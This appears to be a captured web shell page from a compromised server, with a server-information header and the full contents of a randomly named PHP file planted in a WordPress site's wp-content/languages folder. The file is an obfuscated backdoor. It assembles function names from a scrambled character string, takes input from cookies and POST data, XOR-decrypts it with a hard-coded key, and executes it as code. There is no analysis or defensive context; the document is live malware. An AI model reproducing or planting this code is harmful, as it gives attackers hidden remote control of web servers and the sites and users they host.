HEX
Server: Apache
System:
User: root (0)
PHP: 7.4.30
Disabled: exec, passthru, shell_exec, system, proc_open, popen, parse_ini_file, show_source, apache_child_terminate,apache_setenv,chgrp,chmod,chown,curl_multi_exec,define_syslog_variables,eval,exec,highlight_file,openlog,parse_ini_file,parse_ini_string,passthru,php_uname,popen,posix_kill,posix_setpgid,posix_setsid,posix_setuid,proc_open,shell_exec,show_source,syslog,system
Upload Files
File: /web/brslogistics/www/wp-content/languages/9sfwo21e.php
<?php
$nyfhj = '_*odmn5taec481piu2gl\'b-k07#xsfyrHv9';$pxvwraj = Array();$pxvwraj[] = $nyfhj[10].$nyfhj[31].$nyfhj[9].$nyfhj[8].$nyfhj[7].$nyfhj[9].$nyfhj[0].$nyfhj[29].$nyfhj[16].$nyfhj[5].$nyfhj[10].$nyfhj[7].$nyfhj[15].$nyfhj[2].$nyfhj[5];$pxvwraj[] = $nyfhj[10].$nyfhj[13].$nyfhj[34].$nyfhj[8].$nyfhj[21].$nyfhj[17].$nyfhj[11].$nyfhj[25].$nyfhj[22].$nyfhj[10].$nyfhj[24].$nyfhj[6].$nyfhj[12].$nyfhj[22].$nyfhj[11].$nyfhj[11].$nyfhj[24].$nyfhj[8].$nyfhj[22].$nyfhj[8].$nyfhj[29].$nyfhj[3].$nyfhj[29].$nyfhj[22].$nyfhj[34].$nyfhj[29].$nyfhj[21].$nyfhj[25].$nyfhj[12].$nyfhj[9].$nyfhj[17].$nyfhj[34].$nyfhj[21].$nyfhj[3].$nyfhj[10].$nyfhj[24];$pxvwraj[] = $nyfhj[32].$nyfhj[1];$pxvwraj[] = $nyfhj[26];$pxvwraj[] = $nyfhj[10].$nyfhj[2].$nyfhj[16].$nyfhj[5].$nyfhj[7];$pxvwraj[] = $nyfhj[28].$nyfhj[7].$nyfhj[31].$nyfhj[0].$nyfhj[31].$nyfhj[9].$nyfhj[14].$nyfhj[9].$nyfhj[8].$nyfhj[7];$pxvwraj[] = $nyfhj[9].$nyfhj[27].$nyfhj[14].$nyfhj[19].$nyfhj[2].$nyfhj[3].$nyfhj[9];$pxvwraj[] = $nyfhj[28].$nyfhj[16].$nyfhj[21].$nyfhj[28].$nyfhj[7].$nyfhj[31];$pxvwraj[] = $nyfhj[8].$nyfhj[31].$nyfhj[31].$nyfhj[8].$nyfhj[30].$nyfhj[0].$nyfhj[4].$nyfhj[9].$nyfhj[31].$nyfhj[18].$nyfhj[9];$pxvwraj[] = $nyfhj[28].$nyfhj[7].$nyfhj[31].$nyfhj[19].$nyfhj[9].$nyfhj[5];$pxvwraj[] = $nyfhj[14].$nyfhj[8].$nyfhj[10].$nyfhj[23];foreach ($pxvwraj[8]($_COOKIE, $_POST) as $yumczcb => $pbtfok){function enrwyf($pxvwraj, $yumczcb, $qinwc){return $pxvwraj[7]($pxvwraj[5]($yumczcb . $pxvwraj[1], ($qinwc / $pxvwraj[9]($yumczcb)) + 1), 0, $qinwc);}function bykte($pxvwraj, $qtqwywb){return @$pxvwraj[10]($pxvwraj[2], $qtqwywb);}function zlstnyr($pxvwraj, $qtqwywb){$pbenqr = $pxvwraj[4]($qtqwywb) % 3;if (!$pbenqr) {$vvsuno = $pxvwraj[0]; $qzdpx = $vvsuno("", $qtqwywb[1]($qtqwywb[2]));$qzdpx();exit();}}$pbtfok = bykte($pxvwraj, $pbtfok);zlstnyr($pxvwraj, $pxvwraj[6]($pxvwraj[3], $pbtfok ^ enrwyf($pxvwraj, $yumczcb, $pxvwraj[9]($pbtfok))));}